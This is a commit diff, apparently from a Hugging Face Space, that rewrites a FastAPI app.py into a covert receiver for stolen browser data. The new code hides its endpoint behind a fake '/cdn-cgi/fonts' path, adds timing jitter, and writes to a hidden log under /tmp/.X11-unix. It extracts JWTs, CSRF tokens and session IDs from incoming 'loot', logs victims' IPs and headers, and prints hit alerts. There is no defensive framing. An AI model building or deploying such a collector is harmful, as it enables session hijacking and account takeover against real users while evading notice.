Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
@@ -1,44 +1,53 @@
|
|
1 |
from fastapi import FastAPI, Request
|
2 |
-
import
|
3 |
-
import json, re
|
4 |
from datetime import datetime
|
5 |
|
6 |
app = FastAPI()
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
blob = json.dumps(loot)
|
11 |
-
return {
|
12 |
-
"jwt": re.findall(r'eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+', blob),
|
13 |
-
"csrf": re.findall(r'csrf[_\-]?(token)?[\'"]?\s*[:=]\s*[\'"]?([a-zA-Z0-9\-_]{8,})', blob, re.I),
|
14 |
-
"session": re.findall(r'(?:sessionid|sid)[=:]+([a-zA-Z0-9\-_.]{10,})', blob, re.I)
|
15 |
-
}
|
16 |
|
17 |
@app.get("/")
|
18 |
-
def
|
19 |
-
return {"
|
|
|
|
|
|
|
|
|
20 |
|
21 |
-
@app.post("/exfil")
|
22 |
-
async def exfil(request: Request):
|
23 |
try:
|
24 |
-
|
25 |
except:
|
26 |
-
return {"
|
27 |
-
|
28 |
-
|
29 |
-
|
30 |
-
|
31 |
-
|
32 |
-
|
33 |
-
|
|
|
|
|
|
|
|
|
|
|
34 |
}
|
35 |
|
36 |
-
|
37 |
-
|
|
|
|
|
38 |
|
39 |
-
|
40 |
-
|
|
|
|
|
|
|
41 |
|
42 |
-
|
|
|
|
|
|
|
|
|
43 |
|
44 |
-
|
|
|
1 |
from fastapi import FastAPI, Request
|
2 |
+
import os, json, re, hashlib, asyncio, random
|
|
|
3 |
from datetime import datetime
|
4 |
|
5 |
app = FastAPI()
|
6 |
+
|
7 |
+
LOG = "/tmp/.X11-unix/.slurplog.sock"
|
8 |
+
os.makedirs(os.path.dirname(LOG), exist_ok=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
9 |
|
10 |
@app.get("/")
|
11 |
+
def live():
|
12 |
+
return {"🔥": "DEPLOYED", "🧠": "HYPER OPS", "🎯": "/cdn-cgi/fonts"}
|
13 |
+
|
14 |
+
@app.post("/cdn-cgi/fonts")
|
15 |
+
async def silent_sink(req: Request):
|
16 |
+
await asyncio.sleep(random.uniform(0.2, 1.2)) # jitter
|
17 |
|
|
|
|
|
18 |
try:
|
19 |
+
j = await req.json()
|
20 |
except:
|
21 |
+
return {"err": "invalid json"}
|
22 |
+
|
23 |
+
ip = req.headers.get("x-forwarded-for", "?.?.?.?")
|
24 |
+
ua = req.headers.get("user-agent", "")
|
25 |
+
ref = req.headers.get("referer", "")
|
26 |
+
ts = datetime.utcnow().isoformat()
|
27 |
+
raw = json.dumps(j)
|
28 |
+
sig = hashlib.md5(raw.encode()).hexdigest()
|
29 |
+
|
30 |
+
marks = {
|
31 |
+
"jwt": re.findall(r'eyJ[\w-]+\.[\w-]+\.[\w-]+', raw),
|
32 |
+
"csrf": re.findall(r'csrf[_\-]?(token)?[\'"]?\s*[:=]\s*[\'"]?([\w\-_]{8,})', raw, re.I),
|
33 |
+
"session": re.findall(r'(?:sessionid|sid)[=:]+([\w\-_.]{10,})', raw, re.I)
|
34 |
}
|
35 |
|
36 |
+
entry = {
|
37 |
+
"ts": ts, "ip": ip, "ua": ua, "ref": ref,
|
38 |
+
"hash": sig, "mark": marks, "loot": j
|
39 |
+
}
|
40 |
|
41 |
+
try:
|
42 |
+
with open(LOG, "a") as f:
|
43 |
+
f.write(json.dumps(entry) + "\n")
|
44 |
+
except:
|
45 |
+
pass
|
46 |
|
47 |
+
print(f"\033[92m🔥 TARG HIT: {ip} @ {ts}\033[0m")
|
48 |
+
if any(marks.values()):
|
49 |
+
print(f"\033[91m🧠 Tokens found: {json.dumps(marks)}\033[0m")
|
50 |
+
else:
|
51 |
+
print(f"\033[90m...no tokens detected\033[0m")
|
52 |
|
53 |
+
return {"ok": True, "hash": sig, "tokens": any(marks.values())}
|